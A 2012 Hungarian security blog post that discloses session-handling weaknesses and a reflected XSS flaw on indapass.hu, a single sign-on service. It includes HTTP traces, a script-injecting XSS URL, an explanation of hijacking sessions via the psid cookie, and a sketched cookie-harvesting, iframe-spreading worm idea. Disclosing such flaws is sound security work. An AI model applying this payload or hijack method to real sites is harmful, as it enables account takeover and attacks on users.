indapass.hu XSS + session

február 28th, 2012 | 0 Comments | Hall of shame

Nem igazán látom át az inda rendszer működését viszont azt észrevettem, hogy az indapass.hu-n keresztül lehet és kell belépni nagyon sok rendszerbe, mint pl. a blog.hu vagy az index.hu fóruma, éppen ezért egy elég nagy céltábla.

One Session to rule them all

Nézzük meg, hogyan is működik ez az indapass.hu oldal.

Első látogatáskor kb. ez történik:

https://indapass.hu/

GET / HTTP/1.1
Host: indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

HTTP/1.1 302 Found
Date: Tue, 28 Feb 2012 16:00:50 GMT
Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=0c8ee470e9e84bd53ff2de3bdf6fd5a2; path=/
Set-Cookie: INX_CHECKER2=1; expires=Thu, 31-Dec-2037 23:00:00 GMT; path=/; domain=.indapass.hu
Location: https://daemon.indapass.hu/http/session_request?redirect_to=https%3A%2F%2Findapass.hu%2F&partner_id=indapass
Content-Length: 0
Keep-Alive: timeout=3, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8;
----------------------------------------------------------
https://daemon.indapass.hu/http/session_request?redirect_to=https%3A%2F%2Findapass.hu%2F&partner_id=indapass

GET /http/session_request?redirect_to=https%3A%2F%2Findapass.hu%2F&partner_id=indapass HTTP/1.1
Host: daemon.indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: INX_CHECKER2=1

HTTP/1.1 302 Found
Location: https://indapass.hu/?token=cdfd16f5886ba99923dcdca9bc7a59b4
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: psid=9f5c97d601ba181e11489787b0cd5771; Domain=.indapass.hu; Path=/; Version=1
Content-Length: 0
Date: Tue, 28 Feb 2012 16:00:51 GMT
Server: lighttpd/1.4.13
----------------------------------------------------------
https://indapass.hu/?token=cdfd16f5886ba99923dcdca9bc7a59b4

GET /?token=cdfd16f5886ba99923dcdca9bc7a59b4 HTTP/1.1
Host: indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=0c8ee470e9e84bd53ff2de3bdf6fd5a2; INX_CHECKER2=1; psid=9f5c97d601ba181e11489787b0cd5771

HTTP/1.1 302 Found
Date: Tue, 28 Feb 2012 16:00:51 GMT
Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: INX_CHECKER2=1; expires=Thu, 31-Dec-2037 23:00:00 GMT; path=/; domain=.indapass.hu
Location: https://indapass.hu/
Content-Length: 0
Keep-Alive: timeout=3, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8;
----------------------------------------------------------
https://indapass.hu/

GET / HTTP/1.1
Host: indapass.hu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID=0c8ee470e9e84bd53ff2de3bdf6fd5a2; INX_CHECKER2=1; psid=9f5c97d601ba181e11489787b0cd5771

HTTP/1.1 200 OK
Date: Tue, 28 Feb 2012 16:00:51 GMT
Server: Apache/2.2.3 (Debian) mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: INX_CHECKER2=1; expires=Thu, 31-Dec-2037 23:00:00 GMT; path=/; domain=.indapass.hu
Keep-Alive: timeout=3, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8;
----------------------------------------------------------

Röviden:
Ha nincsen PHPSESSID cookie akkor az első kérésnél kapunk egy PHPSESSID sütit és 302-es redirect-et a https://daemon.indapass.hu/http/session_request… oldalra. Ezen az oldalon kapunk egy psid sütit és szintén egy 302-es redirect-et, amiben van egy token https://indapass.hu/?token=cdfd16f5886ba99923dcdca9bc7a59b4
Ez az oldal is ad egy 302-t, gondolom azért, hogy eltüntessék a token-t a url-ből.

Ha ezután belépünk egy felhasználóval, akkor küldünk egy POST-ot a https://daemon.indapass.hu/http/login url-nek és küldjük a psid sütit “szeméttel” együtt (ga stuff). Az oldal annak függvényében, hogy volt-e “Jegyezz meg!” vagy rendel értéket vagy nem az autologin sütihez, majd természetesen egy 302-vel visszairányít a kiinduló oldalra, ebben az esetben indapass.hu (paraméterben kapja redirect_to).

És be vagyunk jelentkezve. Annyi érdekesség van a dologban, hogy egyik süti értéke sem változott, tehát egy sikeres bejelentkezés után nem használnak session_regenerate_id()-t például, a PHPSESSIONID értéke is ugyan az, valamint egyik süti sem http_only vagy secure.

IP címet és User-Agentet váltottam valamint, kitöröltem minden nem indapass.hu sütit és akkor is bejelentkezve maradtam, vagyis a session az IP és a User-Agent semmilyen formában nincsen összekötve. (A teszt IP más országbeli volt.)

Ezek mind mind jó hírek (már akinek) most már csak egy XSS kellene.
google.hu
site:indapass.hu

Mindjárt az első oldalon van egy ígéretes url: old.indapass.hu

Hogy, hogy nem 3 klik után találtam is egyet, de szerintem több is van, főleg ilyen reflected.

http://old.indapass.hu/jelszoemlekezteto/

a nick post paraméter nincsen megfelelően “átalakítva” kiírás előtt és nem szükséges form-al posztolni mert működik paraméterből is :

http://old.indapass.hu/jelszoemlekezteto/?nick=%22%3E%3Cscript%3Ealert%28%27/0xff/%27%29;%3C/script%3E%3C!–

Viszont van egy kis gond ezzel az oldallal mégpediglen az, hogy ez egy subdomain és ha megnézzük a document.cookie tartalmát akkor láthatjuk, hogy nincsen benne a PHPSESSID, viszont mivel lusta vagyok más XSS-t keresni ezért ezzel kell beérjem. Ez nem is olyan nagy baj végülis, hiszen ha megnézzük a bejelentkezési folyamatot, láthatjuk, hogy a daemon.indapass.hu sem kap PHPSESSID sütit, mégis tud azonosítani és beléptetni, elég neki a psid is.

A psid-t a https://daemon.indapass.hu/http/session_request adja. Ha van a kérésben süti, akkor azt újra beállítja, de nem változtat az értékén, a lejáratát nem állítja be így az automatikusan a session végén kliens oldalon lejár, tehát ha meghosszabbítjuk a lejáratot az felülíródik amint a felhasználó meglátogatja a daemon.indapass.hu-t. Hogy szerver oldalon mennyi ideig érvényes, azt nem tudom. Úgy tűnik nekem, hogy a két oldalt – ebben az esetben indapass.hu és a daemon.indapass.hu-t – ez a psid köti össze és az a 302-es redirect, ami küld egy tokent. Gondolom az állítódik be a $_SESSION tömbben vagy valami.

Tehát nincsen szükségünk a PHPSESSID -re hiszen kaphatunk egyet a psid segítségével automatikusan, ha megvan valakinek a psid sütije akkor elég kitörölni a PHPSESSID-t vagy megváltoztatni az értékét és kicserélni a psid értékét.

Ami érdekes még ebben az az, hogy nagyon könnyen lehet írni egy kis scriptet, ami folyamatosan gyűjti a sütiket és ha sikerült “belépnie” akkor pl a blog.hu-n minden bejegyzés aljára beszúr egy IFrame-t és szerintem a többi szolgáltatást is lehetne propagálásra használni.

Demo time:

Indapass.hu Session from 0xff on Vimeo.

Tags:  

Leave a Comment